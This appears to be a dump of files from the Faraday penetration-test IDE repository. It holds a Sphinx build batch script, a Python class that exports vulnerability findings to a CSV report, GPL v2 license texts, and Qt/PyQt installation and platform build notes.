67 goto end
68 )
69
70 if "%1" == "json" (
71 %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
72 echo.
73 echo.Build finished; now you can process the JSON files.
74 goto end
75 )
76
77 if "%1" == "htmlhelp" (
78 %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
79 echo.
80 echo.Build finished; now you can run HTML Help Workshop with the ^
81 .hhp project file in %BUILDDIR%/htmlhelp.
82 goto end
83 )
84
85 if "%1" == "qthelp" (
86 %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
87 echo.
88 echo.Build finished; now you can run "qcollectiongenerator" with the ^
89 .qhcp project file in %BUILDDIR%/qthelp, like this:
90 echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Faraday.qhcp
91 echo.To view the help file:
92 echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Faraday.ghc
93 goto end
94 )
95
96 if "%1" == "devhelp" (
97 %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
98 echo.
99 echo.Build finished.
100 goto end
101 )
102
103 if "%1" == "epub" (
104 %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
105 echo.
106 echo.Build finished. The epub file is in %BUILDDIR%/epub.
107 goto end
108 )
109
110 if "%1" == "latex" (
111 %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
112 echo.
113 echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
114 goto end
115 )
116
117 if "%1" == "text" (
118 %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
119 echo.
120 echo.Build finished. The text files are in %BUILDDIR%/text.
121 goto end
122 )
123
124 if "%1" == "man" (
125 %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
126 echo.
127 echo.Build finished. The manual pages are in %BUILDDIR%/man.
128 goto end
129 )
130
131 if "%1" == "changes" (
132 %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
133 echo.
134 echo.The overview file is in %BUILDDIR%/changes.
135 goto end
136 )
137
138 if "%1" == "linkcheck" (
139 %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
140 echo.
141 echo.Link check complete; look for any errors in the above output ^
142 or in %BUILDDIR%/linkcheck/output.txt.
143 goto end
144 )
145
146 if "%1" == "doctest" (
147 %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
148 echo.
149 echo.Testing of doctests in the sources finished, look at the ^
150 results in %BUILDDIR%/doctest/output.txt.
151 goto end
152 )
153
154 :end
(New empty file)
0 #!/usr/bin/python
1
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 from datetime import date
9
10 class CSVVulnStatusReport(object):
11 """Class to build CSV Vulnerability Status Report
12 Expected output from this object is a file with model objects flatten
13 """
14 def __init__(self, path, modelobjects):
15 self.path = path
16 self.modelobjects = modelobjects
17
18 def getVulnCSVField(self, host, vuln, serv = None):
19 vdate = str(date.fromtimestamp(vuln.getMetadata().create_time))
20 status = 'vuln'
21 level = vuln.severity
22 name = vuln.name
23 target = host.name + ( ':' + ','.join([ str(x) for x in serv.getPorts()]) if serv else '')
24 if vuln.class_signature == "VulnerabilityWeb":
25 target = "%s/%s" % (target, vuln.path)
26
27 desc = vuln.desc.replace('\n', '<br/>')
28
29 csv_fields = [ vdate , status , str(level) , name , target , desc]
30 try:
31 encoded_csv_fields = map(lambda x: x.encode('utf-8'), csv_fields)
32 except Exception as e:
33 print e
34
35 field = "|".join(encoded_csv_fields)
36 return field
37
38 def createCSVVulnStatusReport(self):
39 hosts = self.modelobjects
40 filename = self.path
41
42 if filename and filename is not None:
43 with open(self.path + ".csv","w") as f:
44 # Date, status, Level, Name, Target, Description
45 vulns_list = []
46 for host in hosts:
47 # Get al HostVulns
48 for v in host.getVulns():
49 vulns_list.append(self.getVulnCSVField(host, v))
50
51 # Service Vulns, we don't have Interface vulns
52 for i in host.getAllInterfaces():
53 for s in i.getAllServices():
54 for v in s.getVulns():
55 vulns_list.append(self.getVulnCSVField(host, v, s))
56 f.writelines('\n'.join(vulns_list))
57 f.write('\n')
0 GNU GENERAL PUBLIC LICENSE
1 Version 2, June 1991
2
3 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
4 675 Mass Ave, Cambridge, MA 02139, USA
5 Everyone is permitted to copy and distribute verbatim copies
6 of this license document, but changing it is not allowed.
7
8 Preamble
9
10 The licenses for most software are designed to take away your
11 freedom to share and change it. By contrast, the GNU General Public
12 License is intended to guarantee your freedom to share and change free
13 software--to make sure the software is free for all its users. This
14 General Public License applies to most of the Free Software
15 Foundation's software and to any other program whose authors commit to
16 using it. (Some other Free Software Foundation software is covered by
17 the GNU Library General Public License instead.) You can apply it to
18 your programs, too.
19
20 When we speak of free software, we are referring to freedom, not
21 price. Our General Public Licenses are designed to make sure that you
22 have the freedom to distribute copies of free software (and charge for
23 this service if you wish), that you receive source code or can get it
24 if you want it, that you can change the software or use pieces of it
25 in new free programs; and that you know you can do these things.
26
27 To protect your rights, we need to make restrictions that forbid
28 anyone to deny you these rights or to ask you to surrender the rights.
29 These restrictions translate to certain responsibilities for you if you
30 distribute copies of the software, or if you modify it.
31
32 For example, if you distribute copies of such a program, whether
33 gratis or for a fee, you must give the recipients all the rights that
34 you have. You must make sure that they, too, receive or can get the
35 source code. And you must show them these terms so they know their
36 rights.
37
38 We protect your rights with two steps: (1) copyright the software, and
39 (2) offer you this license which gives you legal permission to copy,
40 distribute and/or modify the software.
41
42 Also, for each author's protection and ours, we want to make certain
43 that everyone understands that there is no warranty for this free
44 software. If the software is modified by someone else and passed on, we
45 want its recipients to know that what they have is not the original, so
46 that any problems introduced by others will not reflect on the original
47 authors' reputations.
48
49 Finally, any free program is threatened constantly by software
50 patents. We wish to avoid the danger that redistributors of a free
51 program will individually obtain patent licenses, in effect making the
52 program proprietary. To prevent this, we have made it clear that any
53 patent must be licensed for everyone's free use or not licensed at all.
54
55 The precise terms and conditions for copying, distribution and
56 modification follow.
57
58 GNU GENERAL PUBLIC LICENSE
59 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
60
61 0. This License applies to any program or other work which contains
62 a notice placed by the copyright holder saying it may be distributed
63 under the terms of this General Public License. The "Program", below,
64 refers to any such program or work, and a "work based on the Program"
65 means either the Program or any derivative work under copyright law:
66 that is to say, a work containing the Program or a portion of it,
67 either verbatim or with modifications and/or translated into another
68 language. (Hereinafter, translation is included without limitation in
69 the term "modification".) Each licensee is addressed as "you".
70
71 Activities other than copying, distribution and modification are not
72 covered by this License; they are outside its scope. The act of
73 running the Program is not restricted, and the output from the Program
74 is covered only if its contents constitute a work based on the
75 Program (independent of having been made by running the Program).
76 Whether that is true depends on what the Program does.
77
78 1. You may copy and distribute verbatim copies of the Program's
79 source code as you receive it, in any medium, provided that you
80 conspicuously and appropriately publish on each copy an appropriate
81 copyright notice and disclaimer of warranty; keep intact all the
82 notices that refer to this License and to the absence of any warranty;
83 and give any other recipients of the Program a copy of this License
84 along with the Program.
85
86 You may charge a fee for the physical act of transferring a copy, and
87 you may at your option offer warranty protection in exchange for a fee.
88
89 2. You may modify your copy or copies of the Program or any portion
90 of it, thus forming a work based on the Program, and copy and
91 distribute such modifications or work under the terms of Section 1
92 above, provided that you also meet all of these conditions:
93
94 a) You must cause the modified files to carry prominent notices
95 stating that you changed the files and the date of any change.
96
97 b) You must cause any work that you distribute or publish, that in
98 whole or in part contains or is derived from the Program or any
99 part thereof, to be licensed as a whole at no charge to all third
100 parties under the terms of this License.
101
102 c) If the modified program normally reads commands interactively
103 when run, you must cause it, when started running for such
104 interactive use in the most ordinary way, to print or display an
105 announcement including an appropriate copyright notice and a
106 notice that there is no warranty (or else, saying that you provide
107 a warranty) and that users may redistribute the program under
108 these conditions, and telling the user how to view a copy of this
109 License. (Exception: if the Program itself is interactive but
110 does not normally print such an announcement, your work based on
111 the Program is not required to print an announcement.)
112
113 These requirements apply to the modified work as a whole. If
114 identifiable sections of that work are not derived from the Program,
115 and can be reasonably considered independent and separate works in
116 themselves, then this License, and its terms, do not apply to those
117 sections when you distribute them as separate works. But when you
118 distribute the same sections as part of a whole which is a work based
119 on the Program, the distribution of the whole must be on the terms of
120 this License, whose permissions for other licensees extend to the
121 entire whole, and thus to each and every part regardless of who wrote it.
122
123 Thus, it is not the intent of this section to claim rights or contest
124 your rights to work written entirely by you; rather, the intent is to
125 exercise the right to control the distribution of derivative or
126 collective works based on the Program.
127
128 In addition, mere aggregation of another work not based on the Program
129 with the Program (or with a work based on the Program) on a volume of
130 a storage or distribution medium does not bring the other work under
131 the scope of this License.
132
133 3. You may copy and distribute the Program (or a work based on it,
134 under Section 2) in object code or executable form under the terms of
135 Sections 1 and 2 above provided that you also do one of the following:
136
137 a) Accompany it with the complete corresponding machine-readable
138 source code, which must be distributed under the terms of Sections
139 1 and 2 above on a medium customarily used for software interchange; or,
140
141 b) Accompany it with a written offer, valid for at least three
142 years, to give any third party, for a charge no more than your
143 cost of physically performing source distribution, a complete
144 machine-readable copy of the corresponding source code, to be
145 distributed under the terms of Sections 1 and 2 above on a medium
146 customarily used for software interchange; or,
147
148 c) Accompany it with the information you received as to the offer
149 to distribute corresponding source code. (This alternative is
150 allowed only for noncommercial distribution and only if you
151 received the program in object code or executable form with such
152 an offer, in accord with Subsection b above.)
153
154 The source code for a work means the preferred form of the work for
155 making modifications to it. For an executable work, complete source
156 code means all the source code for all modules it contains, plus any
157 associated interface definition files, plus the scripts used to
158 control compilation and installation of the executable. However, as a
159 special exception, the source code distributed need not include
160 anything that is normally distributed (in either source or binary
161 form) with the major components (compiler, kernel, and so on) of the
162 operating system on which the executable runs, unless that component
163 itself accompanies the executable.
164
165 If distribution of executable or object code is made by offering
166 access to copy from a designated place, then offering equivalent
167 access to copy the source code from the same place counts as
168 distribution of the source code, even though third parties are not
169 compelled to copy the source along with the object code.
170
171 4. You may not copy, modify, sublicense, or distribute the Program
172 except as expressly provided under this License. Any attempt
173 otherwise to copy, modify, sublicense or distribute the Program is
174 void, and will automatically terminate your rights under this License.
175 However, parties who have received copies, or rights, from you under
176 this License will not have their licenses terminated so long as such
177 parties remain in full compliance.
178
179 5. You are not required to accept this License, since you have not
180 signed it. However, nothing else grants you permission to modify or
181 distribute the Program or its derivative works. These actions are
182 prohibited by law if you do not accept this License. Therefore, by
183 modifying or distributing the Program (or any work based on the
184 Program), you indicate your acceptance of this License to do so, and
185 all its terms and conditions for copying, distributing or modifying
186 the Program or works based on it.
187
188 6. Each time you redistribute the Program (or any work based on the
189 Program), the recipient automatically receives a license from the
190 original licensor to copy, distribute or modify the Program subject to
191 these terms and conditions. You may not impose any further
192 restrictions on the recipients' exercise of the rights granted herein.
193 You are not responsible for enforcing compliance by third parties to
194 this License.
195
196 7. If, as a consequence of a court judgment or allegation of patent
197 infringement or for any other reason (not limited to patent issues),
198 conditions are imposed on you (whether by court order, agreement or
199 otherwise) that contradict the conditions of this License, they do not
200 excuse you from the conditions of this License. If you cannot
201 distribute so as to satisfy simultaneously your obligations under this
202 License and any other pertinent obligations, then as a consequence you
203 may not distribute the Program at all. For example, if a patent
204 license would not permit royalty-free redistribution of the Program by
205 all those who receive copies directly or indirectly through you, then
206 the only way you could satisfy both it and this License would be to
207 refrain entirely from distribution of the Program.
208
209 If any portion of this section is held invalid or unenforceable under
210 any particular circumstance, the balance of the section is intended to
211 apply and the section as a whole is intended to apply in other
212 circumstances.
213
214 It is not the purpose of this section to induce you to infringe any
215 patents or other property right claims or to contest validity of any
216 such claims; this section has the sole purpose of protecting the
217 integrity of the free software distribution system, which is
218 implemented by public license practices. Many people have made
219 generous contributions to the wide range of software distributed
220 through that system in reliance on consistent application of that
221 system; it is up to the author/donor to decide if he or she is willing
222 to distribute software through any other system and a licensee cannot
223 impose that choice.
224
225 This section is intended to make thoroughly clear what is believed to
226 be a consequence of the rest of this License.
227
228 8. If the distribution and/or use of the Program is restricted in
229 certain countries either by patents or by copyrighted interfaces, the
230 original copyright holder who places the Program under this License
231 may add an explicit geographical distribution limitation excluding
232 those countries, so that distribution is permitted only in or among
233 countries not thus excluded. In such case, this License incorporates
234 the limitation as if written in the body of this License.
235
236 9. The Free Software Foundation may publish revised and/or new versions
237 of the General Public License from time to time. Such new versions will
238 be similar in spirit to the present version, but may differ in detail to
239 address new problems or concerns.
240
241 Each version is given a distinguishing version number. If the Program
242 specifies a version number of this License which applies to it and "any
243 later version", you have the option of following the terms and conditions
244 either of that version or of any later version published by the Free
245 Software Foundation. If the Program does not specify a version number of
246 this License, you may choose any version ever published by the Free Software
247 Foundation.
248
249 10. If you wish to incorporate parts of the Program into other free
250 programs whose distribution conditions are different, write to the author
251 to ask for permission. For software which is copyrighted by the Free
252 Software Foundation, write to the Free Software Foundation; we sometimes
253 make exceptions for this. Our decision will be guided by the two goals
254 of preserving the free status of all derivatives of our free software and
255 of promoting the sharing and reuse of software generally.
256
257 NO WARRANTY
258
259 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
260 FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
261 OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
262 PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
263 OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
264 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
265 TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
266 PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
267 REPAIR OR CORRECTION.
268
269 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
270 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
271 REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
272 INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
273 OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
274 TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
275 YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
276 PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
277 POSSIBILITY OF SUCH DAMAGES.
278
279 END OF TERMS AND CONDITIONS
0 PyQt - Python Bindings for the Qt Toolkit
1
2
3 INTRODUCTION
4
5 These are the Python bindings for Qt. You must also have the SIP Python
6 bindings generator installed.
7
8 The homepage is http://www.riverbankcomputing.co.uk/pyqt/.
9
10 The homepage of SIP is http://www.riverbankcomputing.co.uk/sip/.
11
12
13 COMMERCIAL VERSION
14
15 If you have the Commercial version of PyQt then you should also have a
16 license file that you downloaded separately. The license file must be copied
17 to the "sip" directory before starting to build PyQt.
18
19
20 INSTALLATION
21
22 Check for any other README files in this directory that relate to your
23 particular platform. Feel free to contribute a README for your platform or to
24 provide updates to any existing documentation.
25
26 The first step is to configure PyQt by running the following command.
27
28 python configure.py
29
30 This assumes that the correct Python interpreter is on your path. Something
31 like the following may be appropriate on Windows.
32
33 c:\python23\python configure.py
34
35 If you have multiple versions of Python installed then make sure you use the
36 interpreter for which you wish to generate bindings for.
37
38 The configure.py script takes many options. Use the "-h" command line option
39 to display a full list of the available options.
40
41 The next step is to build PyQt using your platform's make command.
42
43 make
44
45 The final step is to install PyQt by running the following command. (Depending
46 on your system you may require root or administrator privileges.)
47
48 make install
49
50
51 THE REST OF THE DISTRIBUTION
52
53 The "examples2" and "examples3" directories contain some examples (for Qt v2.x
54 and Qt v3.x respectively) of Python scripts, including versions of the standard
55 Qt tutorials and examples.
56
57 The "doc" directory contains SGML and HTML documentation for the bindings.
58 This documentation includes a section describing the differences visible to
59 the Python programmer between this and the previous version - please read it.
60
61
62 Phil Thompson
63 [email protected]
0 This file describes some things to be aware of when building SIP (and PyQt)
1 under AIX.
2
3 I had success building SIP V3/V4 (and PyQt) on AIX 4.3.3 and on AIX 5.1 with
4 VisualAge C++ and with gcc.
5
6 VisualAge C++ was version 6.0 but it should also work with version 5.x.
7 The GNU compiler was version 3.3.2 downloaded as a binary from
8 http://aixpdslib.seas.ucla.edu/aixpdslib.html
9
10 The Qt-Version was 3.2.3 but it should also work with previous versions.
11
12 If you are using Python version 2.3.3 or higher, SIP (and PyQt) should build
13 out of the box without any changes.
14
15 If you are using a Python version before 2.3.3, you have to patch Python,
16 because until this version, Python uses the system calls load() and
17 loadbind() to load and bind shared objects. These system calls cannot load
18 and bind C++ shared objects properly (constructors and destructors for static
19 classes are not called with these system calls). Since AIX version 4.2 the
20 system calls dlopen() and dlsym() are available and should be used in
21 preference.
22
23 The following patch changes the configure script of Python to use dlopen()
24 and dlsym() if they are available. It also fixes a bug with the definition of
25 _XOPEN_SOURCE:
26
27 ---8<-------------------------------------------------------------------->8---
28 diff -uNr Python-2.3.2.orig/configure Python-2.3.2/configure
29 --- Python-2.3.2.orig/configure 2003-09-27 10:58:55.000000000 +0200
30 +++ Python-2.3.2/configure 2003-10-28 11:33:58.000000000 +0100
31 @@ -1452,6 +1452,11 @@
32 # but used in struct sockaddr.sa_family. Reported by Tim Rice.
33 SCO_SV/3.2)
34 define_xopen_source=no;;
35 + # On AIX 4, mbstate_t is defined only when _XOPEN_SOURCE == 500 but used in
36 + # wcsnrtombs() and mbsnrtowcs() even if _XOPEN_SOURCE is not defined or
37 + # has another value. By not (re)defining it, the defaults come in place.
38 + AIX/4)
39 + define_xopen_source=no;;
40 esac
41
42 if test $define_xopen_source = yes
43 @@ -12965,7 +12970,12 @@
44 if test -z "$DYNLOADFILE"
45 then
46 case $ac_sys_system/$ac_sys_release in
47 - AIX*) DYNLOADFILE="dynload_aix.o";;
48 + AIX*) # Use dynload_shlib.c and dlopen() if we have it.
49 + if test "$ac_cv_func_dlopen" = yes
50 + then DYNLOADFILE="dynload_shlib.o"
51 + else DYNLOADFILE="dynload_aix.o"
52 + fi
53 + ;;
54 BeOS*) DYNLOADFILE="dynload_beos.o";;
55 hp*|HP*) DYNLOADFILE="dynload_hpux.o";;
56 Darwin/*) DYNLOADFILE="dynload_next.o";;
57 ---8<-------------------------------------------------------------------->8---
58
59 Note: I did not mix the compilers when building Qt, Python, SIP and PyQt. At
60 least Qt, SIP and PyQt must be built with the same compiler because of
61 different name mangling schemes.
62
63 If you have any problems or questions on building SIP or PyQt on AIX, either
64 send an email to [email protected] or use the PyKDE mailing list.
65
66 Ulrich Berning
67 DESYS GmbH
0
1 o Compiler Error: CC -DHAVE_CONFIG_H -I. -I. -I..
2 -I/users/toollib/include/python2.0 -I/users/pyqt/install/sip-3.2.1/include
3 -I/users/pyqt/install/qt-x11-commercial-3.0.4/include -I/usr/openwin/include
4 -c qtcmodule.cpp -KPIC -DPIC -o qtcmodule.o
5 "sipqtProxyqt.h", line 113: Error: Multiple declaration for
6 sipProxyqt::proxySlot(int).
7 "qtcmodule.cpp", line 5393: Error: sipProxyqt::proxySlot(int) already had a
8 body defined.
9
10 This occurs because the Sun Workshop C++ 4.2 compiler (and the Sun Forte
11 C++ 6.x compiler with -compat) can not distinguish between 'bool' and 'int'
12 types in overloaded method signatures and issues a compiler error.
13 In this case bool is declared in qt/include/qglobal.h as
14 'typedef int bool;'. To workaround this '#if 0' out the the declaration
15 and body of 'proxySlot(bool)' in PyQt/qt/sipqtProxyqt.h and
16 PyQt/qt/qtcmodule.cpp. This resolves the compiler error but breaks
17 any 'sig(bool)' type signals. To workaround this, save the
18 PyQt/qt/sipqtProxyqt.moc generated after fixing the compiler error and
19 add the following bits of code:
20
21 ...
22 static const QUParameter param_slot_42[] = {
23 { 0, &static_QUType_bool, 0, QUParameter::In }
24 };
25 static const QUMethod slot_42 = {"proxySlot", 1, param_slot_42 };
26 static const QMetaData slot_tbl[] = {
27 ...
28 { "proxySlot(bool)", &slot_42, QMetaData::Public }
29 };
30 metaObj = QMetaObject::new_metaobject(
31 "sipProxyqt", parentObject,
32 slot_tbl, 43,
33 ...
34 case 42: proxySlot(static_QUType_bool.get(_o+1)); break;
35
36 You will need to comment out the line in PyQt/qt/Makefile that re-generates
37 PyQt/qt/sipqtProxyqt.moc with moc to avoid the above changes from being
38 overwritten.
39
40 In order to test that everything has been done correctly, create a
41 toggle button and connect it's 'toggled(bool)' signal to a python slot,
42 if it works, your done!
43
0 Faraday Embeeded Licenses
1 ===========================
2
3 In this directory you will find the Licenses of the libraries used in this project.
4
5
0 INSTALLING Qt/X11 Version 3.3.8
1
2
3 You may need to be logged in as root, depending on the permissions of
4 the directories where you choose to install Qt.
5
6
7 1. Unpack the archive if you have not done so already:
8
9 cd /usr/local
10 gunzip qt-x11-free-3.3.8.tar.gz # uncompress the archive
11 tar xvf qt-x11-free-3.3.8.tar # unpack it
12
13 This creates the directory /usr/local/qt-x11-free-3.3.8 containing the
14 files from the main archive.
15
16 Rename qt-x11-free-3.3.8 to qt (or make a symlink):
17
18 mv qt-x11-free-3.3.8 qt
19
20 The rest of this file assumes that Qt is installed in /usr/local/qt.
21
22
23 2. Set some environment variables in the file .profile (or .login,
24 depending on your shell) in your home directory. Create the
25 file if it is not there already.
26
27 QTDIR - the directory in which you're building Qt
28 PATH - to locate the moc program and other Qt tools
29 MANPATH - to access the Qt man pages
30 LD_LIBRARY_PATH - for the shared Qt library
31
32 Note that under IRIX the additional LD_LIBRARYN32_PATH and
33 LD_LIBRARY64_PATH variables are used for specifying library
34 search paths. Set the variable that matches your configuration, or
35 see the rld(5) man page for more information.
36 On AIX set LIBPATH and on HP-UX set SHLIB_PATH instead of LD_LIBRARY_PATH.
37
38 This is done like this:
39
40 In .profile (if your shell is bash, ksh, zsh or sh), add the
41 following lines:
42
43 QTDIR=/usr/local/qt
44 PATH=$QTDIR/bin:$PATH
45 MANPATH=$QTDIR/doc/man:$MANPATH
46 LD_LIBRARY_PATH=$QTDIR/lib:$LD_LIBRARY_PATH
47
48 export QTDIR PATH MANPATH LD_LIBRARY_PATH
49
50 In .login (in case your shell is csh or tcsh), add the following lines:
51
52 setenv QTDIR /usr/local/qt
53 setenv PATH $QTDIR/bin:$PATH
54 setenv MANPATH $QTDIR/doc/man:$MANPATH
55 setenv LD_LIBRARY_PATH $QTDIR/lib:$LD_LIBRARY_PATH
56
57 After you have done this, you will need to login again, or
58 re-source the profile before continuing, so that at least $QTDIR
59 and $PATH are set. Without these the installation will halt with an error
60 message.
61
62 Note that the SGI MIPSpro o32 and Sun WorkShop 5.0 targets are no
63 longer supported as of Qt 3.3.
64
65 3. Install your license file as $HOME/.qt-license.
66 For the free edition and evaluation version, you do not need a license
67 file.
68
69
70 4. Building.
71
72 This step compiles the Qt library, and builds the example programs,
73 the tutorial, and the tools (e.g. Qt Designer).
74
75 Type:
76
77 ./configure
78
79 This will configure the Qt library for your machine. Note that
80 GIF support is turned off by default. Run ./configure -help
81 to get a list of configuration options. Read PLATFORMS for a
82 list of supported platforms.
83
84 To create the library and compile all the examples and the
85 tutorial, type:
86
87 make
88
89 If your platform or compiler is not supported, please contact us at
90 [email protected] so that we can assist you. If it is supported
91 but you have problems, see http://www.trolltech.com/platforms/ for
92 information on known issues.
93
94
95 At this point you have binaries created in $QTDIR (eg. $QTDIR/lib/
96 contains libqt.so). If, however, you would like to have your Qt
97 installed in a non-local installation you can run configure with
98 options splitting Qt into different areas for example:
99
100 ./configure -libdir /usr/local/lib -bindir /usr/local/bin -headerdir /usr/local/include/qt
101
102 If you supplied a custom install directory using the -prefix
103 parameter in step 2, you can:
104
105 make install
106
107 This will install Qt onto your machine using the paths you've set.
108 (See ./configure -help for more information). If you choose to
109 install Qt like this, remember that you must set your
110 LD_LIBRARY_PATH to match your -libdir and your QTDIR to your
111 -headerdir (as described in (2) above).
112
113
114 5. In very few cases you may need to run /sbin/ldconfig or something
115 similar at this point if you are using shared libraries.
116
117 If you have problems running the example programs, e.g. messages like
118
119 can't load library 'libqt.so.3'
120
121 you probably need to put a reference to the qt library in a
122 configuration file and run /sbin/ldconfig as root on your system.
123 And don't forget to set LD_LIBRARY_PATH as explained in (2) above.
124
125
126 6. The online HTML documentation is installed in /usr/local/qt/doc/html/
127 The main page is /usr/local/qt/doc/html/index.html
128 The man pages are installed in /usr/local/qt/doc/man/
129
130
131
132 That's all. Qt is now installed.
0
1 The Qt GUI Toolkit is Copyright (C) 1994-2008 Trolltech ASA.
2
3 You may use, distribute and copy the Qt GUI Toolkit under the terms of
4 GNU General Public License version 2, which is displayed below.
5
6 -------------------------------------------------------------------------
7
8 GNU GENERAL PUBLIC LICENSE
9 Version 2, June 1991
10
11 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
12 51 Franklin Steet, Fifth Floor, Boston, MA 02110-1301, USA
13 Everyone is permitted to copy and distribute verbatim copies
14 of this license document, but changing it is not allowed.
15
16 Preamble
17
18 The licenses for most software are designed to take away your
19 freedom to share and change it. By contrast, the GNU General Public
20 License is intended to guarantee your freedom to share and change free
21 software--to make sure the software is free for all its users. This
22 General Public License applies to most of the Free Software
23 Foundation's software and to any other program whose authors commit to
24 using it. (Some other Free Software Foundation software is covered by
25 the GNU Library General Public License instead.) You can apply it to
26 your programs, too.
27
28 When we speak of free software, we are referring to freedom, not
29 price. Our General Public Licenses are designed to make sure that you
30 have the freedom to distribute copies of free software (and charge for
31 this service if you wish), that you receive source code or can get it
32 if you want it, that you can change the software or use pieces of it
33 in new free programs; and that you know you can do these things.
34
35 To protect your rights, we need to make restrictions that forbid
36 anyone to deny you these rights or to ask you to surrender the rights.
37 These restrictions translate to certain responsibilities for you if you
38 distribute copies of the software, or if you modify it.
39
40 For example, if you distribute copies of such a program, whether
41 gratis or for a fee, you must give the recipients all the rights that
42 you have. You must make sure that they, too, receive or can get the
43 source code. And you must show them these terms so they know their
44 rights.
45
46 We protect your rights with two steps: (1) copyright the software, and
47 (2) offer you this license which gives you legal permission to copy,
48 distribute and/or modify the software.
49
50 Also, for each author's protection and ours, we want to make certain
51 that everyone understands that there is no warranty for this free
52 software. If the software is modified by someone else and passed on, we
53 want its recipients to know that what they have is not the original, so
54 that any problems introduced by others will not reflect on the original
55 authors' reputations.
56
57 Finally, any free program is threatened constantly by software
58 patents. We wish to avoid the danger that redistributors of a free
59 program will individually obtain patent licenses, in effect making the
60 program proprietary. To prevent this, we have made it clear that any
61 patent must be licensed for everyone's free use or not licensed at all.
62
63 The precise terms and conditions for copying, distribution and
64 modification follow.
65
66 GNU GENERAL PUBLIC LICENSE
67 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
68
69 0. This License applies to any program or other work which contains
70 a notice placed by the copyright holder saying it may be distributed
71 under the terms of this General Public License. The "Program", below,
72 refers to any such program or work, and a "work based on the Program"
73 means either the Program or any derivative work under copyright law:
74 that is to say, a work containing the Program or a portion of it,
75 either verbatim or with modifications and/or translated into another
76 language. (Hereinafter, translation is included without limitation in
77 the term "modification".) Each licensee is addressed as "you".
78
79 Activities other than copying, distribution and modification are not
80 covered by this License; they are outside its scope. The act of
81 running the Program is not restricted, and the output from the Program
82 is covered only if its contents constitute a work based on the
83 Program (independent of having been made by running the Program).
84 Whether that is true depends on what the Program does.
85
86 1. You may copy and distribute verbatim copies of the Program's
87 source code as you receive it, in any medium, provided that you
88 conspicuously and appropriately publish on each copy an appropriate
89 copyright notice and disclaimer of warranty; keep intact all the
90 notices that refer to this License and to the absence of any warranty;
91 and give any other recipients of the Program a copy of this License
92 along with the Program.
93
94 You may charge a fee for the physical act of transferring a copy, and
95 you may at your option offer warranty protection in exchange for a fee.
96
97 2. You may modify your copy or copies of the Program or any portion
98 of it, thus forming a work based on the Program, and copy and
99 distribute such modifications or work under the terms of Section 1
100 above, provided that you also meet all of these conditions:
101
102 a) You must cause the modified files to carry prominent notices
103 stating that you changed the files and the date of any change.
104
105 b) You must cause any work that you distribute or publish, that in
106 whole or in part contains or is derived from the Program or any
107 part thereof, to be licensed as a whole at no charge to all third
108 parties under the terms of this License.
109
110 c) If the modified program normally reads commands interactively
111 when run, you must cause it, when started running for such
112 interactive use in the most ordinary way, to print or display an
113 announcement including an appropriate copyright notice and a
114 notice that there is no warranty (or else, saying that you provide
115 a warranty) and that users may redistribute the program under
116 these conditions, and telling the user how to view a copy of this
117 License. (Exception: if the Program itself is interactive but
118 does not normally print such an announcement, your work based on
119 the Program is not required to print an announcement.)
120
121 These requirements apply to the modified work as a whole. If
122 identifiable sections of that work are not derived from the Program,
123 and can be reasonably considered independent and separate works in
124 themselves, then this License, and its terms, do not apply to those
125 sections when you distribute them as separate works. But when you
126 distribute the same sections as part of a whole which is a work based
127 on the Program, the distribution of the whole must be on the terms of
128 this License, whose permissions for other licensees extend to the
129 entire whole, and thus to each and every part regardless of who wrote it.
130
131 Thus, it is not the intent of this section to claim rights or contest
132 your rights to work written entirely by you; rather, the intent is to
133 exercise the right to control the distribution of derivative or
134 collective works based on the Program.
135
136 In addition, mere aggregation of another work not based on the Program
137 with the Program (or with a work based on the Program) on a volume of
138 a storage or distribution medium does not bring the other work under
139 the scope of this License.
140
